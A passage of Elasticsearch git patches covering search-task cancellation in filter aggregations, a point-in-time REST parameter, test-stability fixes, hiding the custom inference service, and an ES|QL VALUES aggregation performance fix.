+        SCRIPT_SEMAPHORE.release(SEMAPHORE_PERMITS);
+
+        // Ensure the search request finished and that there are no more search tasks
+        assertBusy(() -> {
+            assertTrue(searchRequestFuture.isDone());
+            assertThat(getSearchTasks(), empty());
+        });
+    }
+
+    private List<TaskInfo> getSearchTasks() {
+        return client().admin()
+            .cluster()
+            .prepareListTasks()
+            .setActions(TransportSearchAction.NAME + "*")
+            .setDetailed(true)
+            .get()
+            .getTasks();
+    }
+
+    public static class PauseScriptPlugin extends Plugin implements ScriptPlugin {
+        public static final String PAUSE_SCRIPT_LANG = "pause";
+
+        @Override
+        public ScriptEngine getScriptEngine(Settings settings, Collection<ScriptContext<?>> contexts) {
+            return new ScriptEngine() {
+                @Override
+                public String getType() {
+                    return PAUSE_SCRIPT_LANG;
+                }
+
+                @Override
+                @SuppressWarnings("unchecked")
+                public <FactoryType> FactoryType compile(
+                    String name,
+                    String code,
+                    ScriptContext<FactoryType> context,
+                    Map<String, String> params
+                ) {
+                    if (context == LongFieldScript.CONTEXT) {
+                        return (FactoryType) new LongFieldScript.Factory() {
+                            @Override
+                            public LongFieldScript.LeafFactory newFactory(
+                                String fieldName,
+                                Map<String, Object> params,
+                                SearchLookup searchLookup,
+                                OnScriptError onScriptError
+                            ) {
+                                return ctx -> new LongFieldScript(fieldName, params, searchLookup, onScriptError, ctx) {
+                                    @Override
+                                    public void execute() {
+                                        try {
+                                            SCRIPT_SEMAPHORE.acquire();
+                                        } catch (InterruptedException e) {
+                                            throw new AssertionError(e);
+                                        }
+                                        emit(1);
+                                    }
+                                };
+                            }
+                        };
+                    }
+                    throw new IllegalStateException("unsupported type " + context);
+                }
+
+                @Override
+                public Set<ScriptContext<?>> getSupportedContexts() {
+                    return Set.of(LongFieldScript.CONTEXT);
+                }
+            };
+        }
+    }
+}
diff --git a/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/FilterByFilterAggregator.java b/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/FilterByFilterAggregator.java
index cc8ecc74b5ea0..dd6470146f744 100644
--- a/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/FilterByFilterAggregator.java
+++ b/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/FilterByFilterAggregator.java
@@ -23,6 +23,7 @@
 import org.elasticsearch.search.aggregations.LeafBucketCollector;
 import org.elasticsearch.search.aggregations.support.AggregationContext;
 import org.elasticsearch.search.runtime.AbstractScriptFieldQuery;
+import org.elasticsearch.tasks.TaskCancelledException;
 
 import java.io.IOException;
 import java.util.ArrayList;
@@ -268,7 +269,7 @@ protected LeafBucketCollector getLeafCollector(AggregationExecutionContext aggCt
     private void collectCount(LeafReaderContext ctx, Bits live) throws IOException {
         Counter counter = new Counter(docCountProvider);
         for (int filterOrd = 0; filterOrd < filters().size(); filterOrd++) {
-            incrementBucketDocCount(filterOrd, filters().get(filterOrd).count(ctx, counter, live));
+            incrementBucketDocCount(filterOrd, filters().get(filterOrd).count(ctx, counter, live, this::checkCancelled));
         }
     }
 
@@ -306,11 +307,17 @@ public void setScorer(Scorable scorer) {}
         MatchCollector collector = new MatchCollector();
         // create the buckets so we can call collectExistingBucket
         grow(filters().size() + 1);
-        filters().get(0).collect(aggCtx.getLeafReaderContext(), collector, live);
+        filters().get(0).collect(aggCtx.getLeafReaderContext(), collector, live, this::checkCancelled);
         for (int filterOrd = 1; filterOrd < filters().size(); filterOrd++) {
             collector.subCollector = collectableSubAggregators.getLeafCollector(aggCtx);
             collector.filterOrd = filterOrd;
-            filters().get(filterOrd).collect(aggCtx.getLeafReaderContext(), collector, live);
+            filters().get(filterOrd).collect(aggCtx.getLeafReaderContext(), collector, live, this::checkCancelled);
+        }
+    }
+
+    private void checkCancelled() {
+        if (context.isCancelled()) {
+            throw new TaskCancelledException("cancelled");
         }
     }
 
diff --git a/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/QueryToFilterAdapter.java b/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/QueryToFilterAdapter.java
index e8e33655d47c1..9c6f7ddd6cc02 100644
--- a/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/QueryToFilterAdapter.java
+++ b/server/src/main/java/org/elasticsearch/search/aggregations/bucket/filter/QueryToFilterAdapter.java
@@ -29,6 +29,7 @@
 import org.apache.lucene.util.Bits;
 import org.elasticsearch.common.io.stream.StreamOutput;
 import org.elasticsearch.search.aggregations.Aggregator;
+import org.elasticsearch.search.internal.CancellableBulkScorer;
 import org.elasticsearch.xcontent.XContentBuilder;
 
 import java.io.IOException;
@@ -192,7 +193,7 @@ Scorer randomAccessScorer(LeafReaderContext ctx) throws IOException {
     /**
      * Count the number of documents that match this filter in a leaf.
      */
-    long count(LeafReaderContext ctx, FiltersAggregator.Counter counter, Bits live) throws IOException {
+    long count(LeafReaderContext ctx, FiltersAggregator.Counter counter, Bits live, Runnable checkCancelled) throws IOException {
         /*
          * weight().count will return the count of matches for ctx if it can do
          * so in constant time, otherwise -1. The Weight is responsible for
@@ -216,20 +217,22 @@ long count(LeafReaderContext ctx, FiltersAggregator.Counter counter, Bits live)
             // No hits in this segment.
             return 0;
         }
-        scorer.score(counter, live, 0, DocIdSetIterator.NO_MORE_DOCS);
+        CancellableBulkScorer cancellableScorer = new CancellableBulkScorer(scorer, checkCancelled);
+        cancellableScorer.score(counter, live, 0, DocIdSetIterator.NO_MORE_DOCS);
         return counter.readAndReset(ctx);
     }
 
     /**
      * Collect all documents that match this filter in this leaf.
      */
-    void collect(LeafReaderContext ctx, LeafCollector collector, Bits live) throws IOException {
+    void collect(LeafReaderContext ctx, LeafCollector collector, Bits live, Runnable checkCancelled) throws IOException {
         BulkScorer scorer = weight().bulkScorer(ctx);
         if (scorer == null) {
             // No hits in this segment.
             return;
         }
-        scorer.score(collector, live, 0, DocIdSetIterator.NO_MORE_DOCS);
+        CancellableBulkScorer cancellableScorer = new CancellableBulkScorer(scorer, checkCancelled);
+        cancellableScorer.score(collector, live, 0, DocIdSetIterator.NO_MORE_DOCS);
     }
 
     /**
diff --git a/server/src/main/java/org/elasticsearch/search/internal/CancellableBulkScorer.java b/server/src/main/java/org/elasticsearch/search/internal/CancellableBulkScorer.java
index 3630b57e29e42..56b470140cae3 100644
--- a/server/src/main/java/org/elasticsearch/search/internal/CancellableBulkScorer.java
+++ b/server/src/main/java/org/elasticsearch/search/internal/CancellableBulkScorer.java
@@ -20,7 +20,7 @@
  * A {@link BulkScorer} wrapper that runs a {@link Runnable} on a regular basis
  * so that the query can be interrupted.
  */
-final class CancellableBulkScorer extends BulkScorer {
+public final class CancellableBulkScorer extends BulkScorer {
 
     // we use the BooleanScorer window size as a base interval in order to make sure that we do not
     // slow down boolean queries
@@ -32,7 +32,7 @@ final class CancellableBulkScorer extends BulkScorer {
     private final BulkScorer scorer;
     private final Runnable checkCancelled;
 
-    CancellableBulkScorer(BulkScorer scorer, Runnable checkCancelled) {
+    public CancellableBulkScorer(BulkScorer scorer, Runnable checkCancelled) {
         this.scorer = Objects.requireNonNull(scorer);
         this.checkCancelled = Objects.requireNonNull(checkCancelled);
     }

From 9f347a21f9785a9ef9bd5260ec1d29d14be79b7c Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Mon, 7 Jul 2025 21:14:51 +0400
Subject: [PATCH 085/299] Add max_concurrent_shard_requests to
 open_point_in_time rest-api-spec (#130726) (#130749)

---
 .../main/resources/rest-api-spec/api/open_point_in_time.json | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/open_point_in_time.json b/rest-api-spec/src/main/resources/rest-api-spec/api/open_point_in_time.json
index 6f3d09c15c081..37ef3b10a02dd 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/open_point_in_time.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/open_point_in_time.json
@@ -59,6 +59,11 @@
       "allow_partial_search_results": {
         "type": "boolean",
         "description": "Specify whether to tolerate shards missing when creating the point-in-time, or otherwise throw an exception. (default: false)"
+      },
+      "max_concurrent_shard_requests": {
+        "type": "number",
+        "description": "The number of concurrent shard requests per node executed concurrently when opening this point-in-time. This value should be used to limit the impact of opening the point-in-time on the cluster",
+        "default": 5
       }
     },
     "body":{

From aa5772362b2f3222adb2af1d547b7d0d6221730f Mon Sep 17 00:00:00 2001
From: Jim Ferenczi <jim.ferenczi@elastic.co>
Date: Mon, 7 Jul 2025 18:49:48 +0100
Subject: [PATCH 086/299] Fix flaky vector test (#130732) (#130753)

Closes #130678
---
 .../rest-api-spec/test/search.vectors/40_knn_search.yml     | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
index 2c6d5144ce51f..35e59b0e4e31a 100644
--- a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
@@ -621,9 +621,15 @@ setup:
       index:
         index: test_index
         id: "0"
+        refresh: true
         body:
           embedding: [ 0.5, 111.3, -13.0, 14.8, -156.0 ]
 
+  # wait and ensure that the mapping update is replicated
+  - do:
+      cluster.health:
+        wait_for_events: languid
+
   - do:
       indices.get_mapping:
         index: test_index

From 7d73c04b3630b9c22b8c831ce3ae5029f4aa65b8 Mon Sep 17 00:00:00 2001
From: Niels Bauman <33722607+nielsbauman@users.noreply.github.com>
Date: Mon, 7 Jul 2025 16:58:45 -0300
Subject: [PATCH 087/299] Disable ILM history in MP test suite (#130729)
 (#130760)

The ILM history store disturbs tests and was already disabled in the
original `XPackRestIT`. We sync the cluster configuration of the
multi-project test suite with the original one.

Closes #130307 Closes #130360 Closes #130568 Closes #130672 Closes
#130677

(cherry picked from commit e574255bf61f1ecd579d5430b4a5a3a3c9eb96fa)

# Conflicts:
#	muted-tests.yml
---
 ...ackWithMultipleProjectsClientYamlTestSuiteIT.java | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/x-pack/qa/multi-project/xpack-rest-tests-with-multiple-projects/src/yamlRestTest/java/org/elasticsearch/multiproject/test/XpackWithMultipleProjectsClientYamlTestSuiteIT.java b/x-pack/qa/multi-project/xpack-rest-tests-with-multiple-projects/src/yamlRestTest/java/org/elasticsearch/multiproject/test/XpackWithMultipleProjectsClientYamlTestSuiteIT.java
index 0977eaddd7e06..a5581ef922736 100644
--- a/x-pack/qa/multi-project/xpack-rest-tests-with-multiple-projects/src/yamlRestTest/java/org/elasticsearch/multiproject/test/XpackWithMultipleProjectsClientYamlTestSuiteIT.java
+++ b/x-pack/qa/multi-project/xpack-rest-tests-with-multiple-projects/src/yamlRestTest/java/org/elasticsearch/multiproject/test/XpackWithMultipleProjectsClientYamlTestSuiteIT.java
@@ -20,6 +20,8 @@
 import org.elasticsearch.test.rest.yaml.ESClientYamlSuiteTestCase;
 import org.junit.ClassRule;
 
+import java.util.Objects;
+
 @TimeoutSuite(millis = 60 * TimeUnits.MINUTE)
 public class XpackWithMultipleProjectsClientYamlTestSuiteIT extends MultipleProjectsClientYamlSuiteTestCase {
     @ClassRule
@@ -30,7 +32,7 @@ public class XpackWithMultipleProjectsClientYamlTestSuiteIT extends MultipleProj
         .setting("xpack.ml.enabled", "true")
         .setting("xpack.security.enabled", "true")
         .setting("xpack.watcher.enabled", "false")
-        .setting("xpack.license.self_generated.type", "trial")
+        // Integration tests are supposed to enable/disable exporters before/after each test
         .setting("xpack.security.authc.token.enabled", "true")
         .setting("xpack.security.authc.api_key.enabled", "true")
         .setting("xpack.security.transport.ssl.enabled", "true")
@@ -38,12 +40,20 @@ public class XpackWithMultipleProjectsClientYamlTestSuiteIT extends MultipleProj
         .setting("xpack.security.transport.ssl.certificate", "testnode.crt")
         .setting("xpack.security.transport.ssl.verification_mode", "certificate")
         .setting("xpack.security.audit.enabled", "true")
+        .setting("xpack.license.self_generated.type", "trial")
+        // disable ILM history, since it disturbs tests using _all
+        .setting("indices.lifecycle.history_index_enabled", "false")
         .keystore("xpack.security.transport.ssl.secure_key_passphrase", "testnode")
         .configFile("testnode.pem", Resource.fromClasspath("/org/elasticsearch/xpack/security/transport/ssl/certs/simple/testnode.pem"))
         .configFile("testnode.crt", Resource.fromClasspath("/org/elasticsearch/xpack/security/transport/ssl/certs/simple/testnode.crt"))
         .configFile("service_tokens", Resource.fromClasspath("service_tokens"))
         .user(USER, PASS)
         .feature(FeatureFlag.TIME_SERIES_MODE)
+        .feature(FeatureFlag.SUB_OBJECTS_AUTO_ENABLED)
+        .systemProperty("es.queryable_built_in_roles_enabled", () -> {
+            final String enabled = System.getProperty("es.queryable_built_in_roles_enabled");
+            return Objects.requireNonNullElse(enabled, "");
+        })
         .build();
 
     public XpackWithMultipleProjectsClientYamlTestSuiteIT(@Name("yaml") ClientYamlTestCandidate testCandidate) {

From 87c906eb60c88c2c31ed32f408b53e4e5d8bb1ba Mon Sep 17 00:00:00 2001
From: Jonathan Buttner <56361221+jonathan-buttner@users.noreply.github.com>
Date: Mon, 7 Jul 2025 17:24:54 -0400
Subject: [PATCH 088/299] [ML] Removing custom service from service api
 (#130739) (#130762)

* Removing custom service from service api

* Fixing tests
---
 .../xpack/inference/InferenceGetServicesIT.java          | 9 ---------
 .../xpack/inference/services/custom/CustomService.java   | 6 ++++++
 2 files changed, 6 insertions(+), 9 deletions(-)

diff --git a/x-pack/plugin/inference/qa/inference-service-tests/src/javaRestTest/java/org/elasticsearch/xpack/inference/InferenceGetServicesIT.java b/x-pack/plugin/inference/qa/inference-service-tests/src/javaRestTest/java/org/elasticsearch/xpack/inference/InferenceGetServicesIT.java
index b96c94db438a7..9bea31fcdcec2 100644
--- a/x-pack/plugin/inference/qa/inference-service-tests/src/javaRestTest/java/org/elasticsearch/xpack/inference/InferenceGetServicesIT.java
+++ b/x-pack/plugin/inference/qa/inference-service-tests/src/javaRestTest/java/org/elasticsearch/xpack/inference/InferenceGetServicesIT.java
@@ -20,7 +20,6 @@
 
 import static org.elasticsearch.xpack.inference.InferenceBaseRestTest.assertStatusOkOrCreated;
 import static org.hamcrest.Matchers.containsInAnyOrder;
-import static org.hamcrest.Matchers.equalTo;
 
 public class InferenceGetServicesIT extends BaseMockEISAuthServerTest {
 
@@ -41,7 +40,6 @@ public void testGetServicesWithoutTaskType() throws IOException {
                     "azureaistudio",
                     "azureopenai",
                     "cohere",
-                    "custom",
                     "deepseek",
                     "elastic",
                     "elasticsearch",
@@ -77,9 +75,6 @@ private Iterable<String> providers(List<Object> services) {
     }
 
     public void testGetServicesWithTextEmbeddingTaskType() throws IOException {
-        List<Object> services = getServices(TaskType.TEXT_EMBEDDING);
-        assertThat(services.size(), equalTo(18));
-
         assertThat(
             providersFor(TaskType.TEXT_EMBEDDING),
             containsInAnyOrder(
@@ -90,7 +85,6 @@ public void testGetServicesWithTextEmbeddingTaskType() throws IOException {
                     "azureaistudio",
                     "azureopenai",
                     "cohere",
-                    "custom",
                     "elastic",
                     "elasticsearch",
                     "googleaistudio",
@@ -118,7 +112,6 @@ public void testGetServicesWithRerankTaskType() throws IOException {
                 List.of(
                     "alibabacloud-ai-search",
                     "cohere",
-                    "custom",
                     "elasticsearch",
                     "googlevertexai",
                     "jinaai",
@@ -143,7 +136,6 @@ public void testGetServicesWithCompletionTaskType() throws IOException {
                     "azureaistudio",
                     "azureopenai",
                     "cohere",
-                    "custom",
                     "deepseek",
                     "googleaistudio",
                     "openai",
@@ -181,7 +173,6 @@ public void testGetServicesWithSparseEmbeddingTaskType() throws IOException {
             containsInAnyOrder(
                 List.of(
                     "alibabacloud-ai-search",
-                    "custom",
                     "elastic",
                     "elasticsearch",
                     "hugging_face",
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomService.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomService.java
index deb6e17ec5311..4a4166cf65ed3 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomService.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/custom/CustomService.java
@@ -355,6 +355,12 @@ public TransportVersion getMinimalSupportedVersion() {
         return TransportVersions.INFERENCE_CUSTOM_SERVICE_ADDED;
     }
 
+    @Override
+    public boolean hideFromConfigurationApi() {
+        // The Custom service is very configurable so we're going to hide it from being exposed in the service API.
+        return true;
+    }
+
     public static class Configuration {
         public static InferenceServiceConfiguration get() {
             return configuration.getOrCompute();

From 3004d2370d4b0b47b92d73bf9a3d43210fe2a666 Mon Sep 17 00:00:00 2001
From: Nhat Nguyen <nhat.nguyen@elastic.co>
Date: Mon, 7 Jul 2025 16:06:19 -0700
Subject: [PATCH 089/299] Avoid O(N^2) in VALUES with ordinals grouping
 (#130576) (#130771)

Using the VALUES aggregator with ordinals grouping led to accidental
quadratic complexity. Queries like FROM .. | STATS ... VALUES(field) ...
BY keyword-field are affected by this performance issue. This change
caches a sorted structure - previously used to fix a similar O(N^2)
problem when emitting the output block - during the merging phase of the
OrdinalGroupingOperator.
---
 .../operator/ValuesAggregatorBenchmark.java   |  33 ++-
 docs/changelog/130576.yaml                    |   5 +
 .../aggregation/ValuesBytesRefAggregator.java | 125 ++++++++--
 .../aggregation/ValuesDoubleAggregator.java   |  87 +++++--
 .../aggregation/ValuesFloatAggregator.java    |  99 ++++++--
 .../aggregation/ValuesIntAggregator.java      |  99 ++++++--
 .../aggregation/ValuesLongAggregator.java     |  87 +++++--
 ...uesBytesRefGroupingAggregatorFunction.java |   2 +-
 ...aluesDoubleGroupingAggregatorFunction.java |   2 +-
 ...ValuesFloatGroupingAggregatorFunction.java |   2 +-
 .../ValuesIntGroupingAggregatorFunction.java  |   2 +-
 .../ValuesLongGroupingAggregatorFunction.java |   2 +-
 .../ValuesBytesRefAggregators.java            |  12 +-
 .../aggregation/X-ValuesAggregator.java.st    | 230 +++++++++++-------
 .../operator/HashAggregationOperator.java     |   2 +-
 15 files changed, 569 insertions(+), 220 deletions(-)
 create mode 100644 docs/changelog/130576.yaml

diff --git a/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesAggregatorBenchmark.java b/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesAggregatorBenchmark.java
index 238540bf2c799..879418e7f954c 100644
--- a/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesAggregatorBenchmark.java
+++ b/benchmarks/src/main/java/org/elasticsearch/benchmark/compute/operator/ValuesAggregatorBenchmark.java
@@ -95,7 +95,8 @@ static void selfTest() {
         try {
             for (String groups : ValuesAggregatorBenchmark.class.getField("groups").getAnnotationsByType(Param.class)[0].value()) {
                 for (String dataType : ValuesAggregatorBenchmark.class.getField("dataType").getAnnotationsByType(Param.class)[0].value()) {
-                    run(Integer.parseInt(groups), dataType, 10);
+                    run(Integer.parseInt(groups), dataType, 10, 0);
+                    run(Integer.parseInt(groups), dataType, 10, 1);
                 }
             }
         } catch (NoSuchFieldException e) {
@@ -113,7 +114,10 @@ static void selfTest() {
     @Param({ BYTES_REF, INT, LONG })
     public String dataType;
 
-    private static Operator operator(DriverContext driverContext, int groups, String dataType) {
+    @Param({ "0", "1" })
+    public int numOrdinalMerges;
+
+    private static Operator operator(DriverContext driverContext, int groups, String dataType, int numOrdinalMerges) {
         if (groups == 1) {
             return new AggregationOperator(
                 List.of(supplier(dataType).aggregatorFactory(AggregatorMode.SINGLE, List.of(0)).apply(driverContext)),
@@ -125,7 +129,24 @@ private static Operator operator(DriverContext driverContext, int groups, String
             List.of(supplier(dataType).groupingAggregatorFactory(AggregatorMode.SINGLE, List.of(1))),
             () -> BlockHash.build(groupSpec, driverContext.blockFactory(), 16 * 1024, false),
             driverContext
-        );
+        ) {
+            @Override
+            public Page getOutput() {
+                mergeOrdinal();
+                return super.getOutput();
+            }
+
+            // simulate OrdinalsGroupingOperator
+            void mergeOrdinal() {
+                var merged = supplier(dataType).groupingAggregatorFactory(AggregatorMode.SINGLE, List.of(1)).apply(driverContext);
+                for (int i = 0; i < numOrdinalMerges; i++) {
+                    for (int p = 0; p < groups; p++) {
+                        merged.addIntermediateRow(p, aggregators.getFirst(), p);
+                    }
+                }
+                aggregators.set(0, merged);
+            }
+        };
     }
 
     private static AggregatorFunctionSupplier supplier(String dataType) {
@@ -331,12 +352,12 @@ private static Block groupingBlock(int groups) {
 
     @Benchmark
     public void run() {
-        run(groups, dataType, OP_COUNT);
+        run(groups, dataType, OP_COUNT, numOrdinalMerges);
     }
 
-    private static void run(int groups, String dataType, int opCount) {
+    private static void run(int groups, String dataType, int opCount, int numOrdinalMerges) {
         DriverContext driverContext = driverContext();
-        try (Operator operator = operator(driverContext, groups, dataType)) {
+        try (Operator operator = operator(driverContext, groups, dataType, numOrdinalMerges)) {
             Page page = page(groups, dataType);
             for (int i = 0; i < opCount; i++) {
                 operator.addInput(page.shallowCopy());
diff --git a/docs/changelog/130576.yaml b/docs/changelog/130576.yaml
new file mode 100644
index 0000000000000..29947d9259c6b
--- /dev/null
+++ b/docs/changelog/130576.yaml
@@ -0,0 +1,5 @@
+pr: 130576
+summary: Avoid O(N^2) in VALUES with ordinals grouping
+area: ES|QL
+type: bug
+issues: []
diff --git a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java
index 51195578ac363..992fff70f90a0 100644
--- a/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java
+++ b/x-pack/plugin/esql/compute/src/main/generated-src/org/elasticsearch/compute/aggregation/ValuesBytesRefAggregator.java
@@ -24,6 +24,7 @@
 import org.elasticsearch.compute.data.IntVector;
 import org.elasticsearch.compute.data.OrdinalBytesRefBlock;
 import org.elasticsearch.compute.operator.DriverContext;
+import org.elasticsearch.core.Releasable;
 import org.elasticsearch.core.Releasables;
 
 /**
@@ -55,8 +56,8 @@ public static Block evaluateFinal(SingleState state, DriverContext driverContext
         return state.toBlock(driverContext.blockFactory());
     }
 
-    public static GroupingState initGrouping(BigArrays bigArrays) {
-        return new GroupingState(bigArrays);
+    public static GroupingState initGrouping(DriverContext driverContext) {
+        return new GroupingState(driverContext);
     }
 
     public static GroupingAggregatorFunction.AddInput wrapAddInput(
@@ -76,7 +77,7 @@ public static GroupingAggregatorFunction.AddInput wrapAddInput(
     }
 
     public static void combine(GroupingState state, int groupId, BytesRef v) {
-        state.values.add(groupId, BlockHash.hashOrdToGroup(state.bytes.add(v)));
+        state.addValue(groupId, v);
     }
 
     public static void combineIntermediate(GroupingState state, int groupId, BytesRefBlock values, int valuesPosition) {
@@ -84,17 +85,20 @@ public static void combineIntermediate(GroupingState state, int groupId, BytesRe
         int start = values.getFirstValueIndex(valuesPosition);
         int end = start + values.getValueCount(valuesPosition);
         for (int i = start; i < end; i++) {
-            combine(state, groupId, values.getBytesRef(i, scratch));
+            state.addValue(groupId, values.getBytesRef(i, scratch));
         }
     }
 
     public static void combineStates(GroupingState current, int currentGroupId, GroupingState state, int statePosition) {
-        BytesRef scratch = new BytesRef();
-        for (int id = 0; id < state.values.size(); id++) {
-            if (state.values.getKey1(id) == statePosition) {
-                long value = state.values.getKey2(id);
-                combine(current, currentGroupId, state.bytes.get(value, scratch));
-            }
+        var sorted = state.sortedForOrdinalMerging(current);
+        if (statePosition > state.maxGroupId) {
+            return;
+        }
+        var start = statePosition > 0 ? sorted.counts[statePosition - 1] : 0;
+        var end = sorted.counts[statePosition];
+        for (int i = start; i < end; i++) {
+            int id = sorted.ids[i];
+            current.addValueOrdinal(currentGroupId, id);
         }
     }
 
@@ -138,6 +142,22 @@ public void close() {
         }
     }
 
+    /**
+     * Values are collected in a hash. Iterating over them in order (row by row) to build the output,
+     * or merging with other state, can be expensive. To optimize this, we build a sorted structure once,
+     * and then use it to iterate over the values in order.
+     *
+     * @param ids positions of the {@link GroupingState#values} to read.
+     *            If built from {@link GroupingState#sortedForOrdinalMerging(GroupingState)},
+     *            these are ordinals referring to the {@link GroupingState#bytes} in the target state.
+     */
+    private record Sorted(Releasable releasable, int[] counts, int[] ids) implements Releasable {
+        @Override
+        public void close() {
+            releasable.close();
+        }
+    }
+
     /**
      * State for a grouped {@code VALUES} aggregation. This implementation
      * emphasizes collect-time performance over the performance of rendering
@@ -146,15 +166,20 @@ public void close() {
      * collector operation. But at least it's fairly simple.
      */
     public static class GroupingState implements GroupingAggregatorState {
-        final LongLongHash values;
+        private int maxGroupId = -1;
+        private final BlockFactory blockFactory;
+        private final LongLongHash values;
         BytesRefHash bytes;
 
-        private GroupingState(BigArrays bigArrays) {
+        private Sorted sortedForOrdinalMerging = null;
+
+        private GroupingState(DriverContext driverContext) {
+            this.blockFactory = driverContext.blockFactory();
             LongLongHash _values = null;
             BytesRefHash _bytes = null;
             try {
-                _values = new LongLongHash(1, bigArrays);
-                _bytes = new BytesRefHash(1, bigArrays);
+                _values = new LongLongHash(1, driverContext.bigArrays());
+                _bytes = new BytesRefHash(1, driverContext.bigArrays());
 
                 values = _values;
                 bytes = _bytes;
@@ -171,6 +196,16 @@ public void toIntermediate(Block[] blocks, int offset, IntVector selected, Drive
             blocks[offset] = toBlock(driverContext.blockFactory(), selected);
         }
 
+        void addValueOrdinal(int groupId, long valueOrdinal) {
+            values.add(groupId, valueOrdinal);
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
+        void addValue(int groupId, BytesRef v) {
+            values.add(groupId, BlockHash.hashOrdToGroup(bytes.add(v)));
+            maxGroupId = Math.max(maxGroupId, groupId);
+        }
+
         /**
          * Builds a {@link Block} with the unique values collected for the {@code #selected}
          * groups. This is the implementation of the final and intermediate results of the agg.
@@ -180,8 +215,19 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                 return blockFactory.newConstantNullBlock(selected.getPositionCount());
             }
 
+            try (var sorted = buildSorted(selected)) {
+                if (OrdinalBytesRefBlock.isDense(selected.getPositionCount(), Math.toIntExact(values.size()))) {
+                    return buildOrdinalOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+                } else {
+                    return buildOutputBlock(blockFactory, selected, sorted.counts, sorted.ids);
+                }
+            }
+        }
+
+        private Sorted buildSorted(IntVector selected) {
             long selectedCountsSize = 0;
             long idsSize = 0;
+            Sorted sorted = null;
             try {
                 /*
                  * Get a count of all groups less than the maximum selected group. Count
@@ -256,14 +302,42 @@ Block toBlock(BlockFactory blockFactory, IntVector selected) {
                         ids[selectedCounts[group]++] = id;
                     }
                 }
-                if (OrdinalBytesRefBlock.isDense(selected.getPositionCount(), Math.toIntExact(values.size()))) {
-                    return buildOrdinalOutputBlock(blockFactory, selected, selectedCounts, ids);
-                } else {
-                    return buildOutputBlock(blockFactory, selected, selectedCounts, ids);
-                }
+                final long totalMemoryUsed = selectedCountsSize + idsSize;
+                sorted = new Sorted(() -> blockFactory.adjustBreaker(-totalMemoryUsed), selectedCounts, ids);
+                return sorted;
             } finally {
-                blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                if (sorted == null) {
+                    blockFactory.adjustBreaker(-selectedCountsSize - idsSize);
+                }
+            }
+        }
+
+        private Sorted sortedForOrdinalMerging(GroupingState other) {
+            if (sortedForOrdinalMerging == null) {
+                try (var selected = IntVector.range(0, maxGroupId + 1, blockFactory)) {
+                    sortedForOrdinalMerging = buildSorted(selected);
+                    // hash all the bytes to the destination to avoid hashing them multiple times
+                    BytesRef scratch = new BytesRef();
+                    final int totalValue = Math.toIntExact(bytes.size());
+                    blockFactory.adjustBreaker((long) totalValue * Integer.BYTES);
+                    try {
+                        final int[] mappedIds = new int[totalValue];
+                        for (int i = 0; i < totalValue; i++) {
+                            var v = bytes.get(i, scratch);
+                            mappedIds[i] = Math.toIntExact(BlockHash.hashOrdToGroup(other.bytes.add(v)));
+                        }
+                        // no longer need the bytes
+                        bytes.close();
+                        bytes = null;
+                        for (int i = 0; i < sortedForOrdinalMerging.ids.length; i++) {
+                            sortedForOrdinalMerging.ids[i] = mappedIds[Math.toIntExact(values.getKey2(sortedForOrdinalMerging.ids[i]))];
+                        }
+                    } finally {
+                        blockFactory.adjustBreaker(-(long) totalValue * Integer.BYTES);
+                    }
+                }
             }
+            return sortedForOrdinalMerging;
         }
 
         Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] selectedCounts, int[] ids) {
@@ -279,11 +353,11 @@ Block buildOutputBlock(BlockFactory blockFactory, IntVector selected, int[] sele
                     int count = end - start;
                     switch (count) {
                         case 0 -> builder.appendNull();
-                        case 1 -> append(builder, ids[start], scratch);
+                        case 1 -> builder.appendBytesRef(getValue(ids[start], scratch));
                         default -> {
                             builder.beginPositionEntry();
                             for (int i = start; i < end; i++) {
-                                append(builder, ids[i], scratch);
+                                builder.appendBytesRef(getValue(ids[i], scratch));
                             }
                             builder.endPositionEntry();
                         }
@@ -331,9 +405,8 @@ Block buildOrdinalOutputBlock(BlockFactory blockFactory, IntVector selected, int
             }
         }
 
-        private void append(BytesRefBlock.Builder builder, int id, BytesRef scratch) {
-            BytesRef value = bytes.get(values.getKey2(id), scratch);
-            builder.appendBytesRef(value);
+        BytesRef getValue(int valueId, BytesRef scratch) {
+            return bytes.get(values.getKey2(valueId), scratch);
         }
 
         @Override
@@ -343,7 +416,7 @@ public void enableGroupIdTracking(SeenGroupIds seen) {
 
         @Override
         public void close() {
